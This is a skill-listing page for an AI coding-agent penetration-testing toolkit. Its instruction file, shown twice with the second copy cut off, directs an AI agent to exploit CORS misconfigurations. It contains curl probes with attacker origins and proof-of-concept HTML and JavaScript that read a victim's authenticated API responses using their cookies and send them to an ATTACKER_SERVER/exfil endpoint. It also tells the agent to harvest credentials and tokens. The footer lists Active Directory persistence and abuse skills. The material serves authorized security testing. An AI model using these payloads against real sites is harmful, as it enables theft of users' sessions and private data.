/cors-misconfiguration
Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill cors-misconfiguration --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/cors-misconfiguration
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing.
SKILL.md
cors-misconfiguration.SKILL.mdname: cors-misconfiguration
description: >
Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during
authorized penetration testing.
keywords:
- cors
- cors misconfiguration
- cors bypass
- cross-origin
- origin reflection
- null origin
- access control allow origin
- cors wildcard
- cors credentials
- cross-origin data theft
- cors exploitation
- sop bypass
tools:
- burpsuite
- curl
- corsy
- CORScanner
opsec: low
CORS Misconfiguration
You are helping a penetration tester exploit Cross-Origin Resource Sharing misconfigurations. The target application sets CORS headers that allow unauthorized origins to read cross-origin responses, potentially enabling credential theft, session hijacking, and sensitive data exfiltration. The goal is to demonstrate that an attacker-controlled origin can read authenticated responses from the target. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[cors-misconfiguration] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Target endpoint that returns data you want to steal cross-origin
(user profile, API keys, session info, PII)
- The endpoint must use cookie-based or automatic authentication
(CORS credential theft doesn't work with manual `Authorization` headers added by JavaScript — those require the attacker's JS to already have the token)
- A domain you control for hosting PoC pages (or use Burp Collaborator)
Step 1: Assess
Test the target's CORS configuration by sending requests with various Origin headers. The critical combination is `Access-Control-Allow-Origin` set to an attacker-controllable value **plus** `Access-Control-Allow-Credentials: true`.
Quick Detection
# Test with an arbitrary attacker origin
curl -sI -H "Origin: https://evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Test with null origin
curl -sI -H "Origin: null" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Test with a subdomain variant
curl -sI -H "Origin: https://sub.TARGET" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Systematic Header Analysis
# Full CORS header scan across multiple origin patterns
ORIGINS=(
"https://evil.com"
"null"
"https://TARGET.evil.com"
"https://evil.TARGET"
"https://TARGETevil.com"
"https://evil-TARGET"
"https://sub.TARGET"
"https://TARGET_evil.com"
"https://TARGET%60evil.com"
)
for origin in "${ORIGINS[@]}"; do
echo "=== Origin: $origin ==="
curl -sI -H "Origin: $origin" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/sensitive" 2>/dev/null | \
grep -i "access-control"
echo
doneWhat to Look For
| Response Headers | Severity | Exploitable? | |-----------------|----------|-------------| | `ACAO: https://evil.com` + `ACAC: true` | **Critical** | Yes — full credential theft | | `ACAO: null` + `ACAC: true` | **High** | Yes — via sandboxed iframe | | `ACAO: *` (no credentials) | **Medium** | Only if endpoint has sensitive data without auth | | `ACAO: *` + `ACAC: true` | **Invalid** | Browsers reject this combination | | `ACAO: https://sub.TARGET` + `ACAC: true` | **Medium** | Requires XSS on trusted subdomain | | No CORS headers | **None** | Not exploitable via CORS |
ACAO = `Access-Control-Allow-Origin`, ACAC = `Access-Control-Allow-Credentials`
Step 2: Origin Reflection
The most common and critical misconfiguration — the server reflects the `Origin` header directly into `Access-Control-Allow-Origin`.
Confirm
curl -sI -H "Origin: https://attacker-controlled.com" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/user/profile"
# Vulnerable if response includes:
# Access-Control-Allow-Origin: https://attacker-controlled.com
# Access-Control-Allow-Credentials: true
Exploit — Data Exfiltration PoC
Host this on your attacker-controlled domain:
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC — Origin Reflection</h1>
<div id="result"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Display stolen data
document.getElementById('result').innerText = this.responseText;
// Exfiltrate to attacker server
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: this.responseText
});
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true; // Send victim's cookies
xhr.send();
</script>
</body>
</html>Exploit — Fetch API Variant
fetch('https://TARGET/api/user/profile', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
// Exfiltrate
navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
});Step 3: Null Origin
The application whitelists `null` as a trusted origin. The `null` origin is sent by sandboxed iframes, `data:` URIs, and local file access.
Confirm
curl -sI -H "Origin: null" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/user/profile"
# Vulnerable if response includes:
# Access-
Read more
name: cors-misconfiguration description: > Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing. keywords: - cors - cors misconfiguration - cors bypass - cross-origin - origin reflection - null origin - access control allow origin - cors wildcard - cors credentials - cross-origin data theft - cors exploitation - sop bypass tools: - burpsuite - curl - corsy - CORScanner opsec: low
CORS Misconfiguration
You are helping a penetration tester exploit Cross-Origin Resource Sharing misconfigurations. The target application sets CORS headers that allow unauthorized origins to read cross-origin responses, potentially enabling credential theft, session hijacking, and sensitive data exfiltration. The goal is to demonstrate that an attacker-controlled origin can read authenticated responses from the target. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[cors-misconfiguration] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Target endpoint that returns data you want to steal cross-origin
(user profile, API keys, session info, PII)
- The endpoint must use cookie-based or automatic authentication
(CORS credential theft doesn't work with manual `Authorization` headers added by JavaScript — those require the attacker's JS to already have the token)
- A domain you control for hosting PoC pages (or use Burp Collaborator)
Step 1: Assess
Test the target's CORS configuration by sending requests with various Origin headers. The critical combination is `Access-Control-Allow-Origin` set to an attacker-controllable value **plus** `Access-Control-Allow-Credentials: true`.
Quick Detection
# Test with an arbitrary attacker origin curl -sI -H "Origin: https://evil.com" \ "https://TARGET/api/endpoint" | grep -i "access-control" # Test with null origin curl -sI -H "Origin: null" \ "https://TARGET/api/endpoint" | grep -i "access-control" # Test with a subdomain variant curl -sI -H "Origin: https://sub.TARGET" \ "https://TARGET/api/endpoint" | grep -i "access-control"
Systematic Header Analysis
# Full CORS header scan across multiple origin patterns
ORIGINS=(
"https://evil.com"
"null"
"https://TARGET.evil.com"
"https://evil.TARGET"
"https://TARGETevil.com"
"https://evil-TARGET"
"https://sub.TARGET"
"https://TARGET_evil.com"
"https://TARGET%60evil.com"
)
for origin in "${ORIGINS[@]}"; do
echo "=== Origin: $origin ==="
curl -sI -H "Origin: $origin" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/sensitive" 2>/dev/null | \
grep -i "access-control"
echo
doneWhat to Look For
| Response Headers | Severity | Exploitable? | |-----------------|----------|-------------| | `ACAO: https://evil.com` + `ACAC: true` | **Critical** | Yes — full credential theft | | `ACAO: null` + `ACAC: true` | **High** | Yes — via sandboxed iframe | | `ACAO: *` (no credentials) | **Medium** | Only if endpoint has sensitive data without auth | | `ACAO: *` + `ACAC: true` | **Invalid** | Browsers reject this combination | | `ACAO: https://sub.TARGET` + `ACAC: true` | **Medium** | Requires XSS on trusted subdomain | | No CORS headers | **None** | Not exploitable via CORS |
ACAO = `Access-Control-Allow-Origin`, ACAC = `Access-Control-Allow-Credentials`
Step 2: Origin Reflection
The most common and critical misconfiguration — the server reflects the `Origin` header directly into `Access-Control-Allow-Origin`.
Confirm
curl -sI -H "Origin: https://attacker-controlled.com" \ -H "Cookie: session=VALID_SESSION" \ "https://TARGET/api/user/profile" # Vulnerable if response includes: # Access-Control-Allow-Origin: https://attacker-controlled.com # Access-Control-Allow-Credentials: true
Exploit — Data Exfiltration PoC
Host this on your attacker-controlled domain:
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC — Origin Reflection</h1>
<div id="result"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Display stolen data
document.getElementById('result').innerText = this.responseText;
// Exfiltrate to attacker server
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: this.responseText
});
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true; // Send victim's cookies
xhr.send();
</script>
</body>
</html>Exploit — Fetch API Variant
fetch('https://TARGET/api/user/profile', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
// Exfiltrate
navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
});Step 3: Null Origin
The application whitelists `null` as a trusted origin. The `null` origin is sent by sandboxed iframes, `data:` URIs, and local file access.
Confirm
curl -sI -H "Origin: null" \ -H "Cookie: session=VALID_SESSION" \ "https://TARGET/api/user/profile" # Vulnerable if response includes: # Access-
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

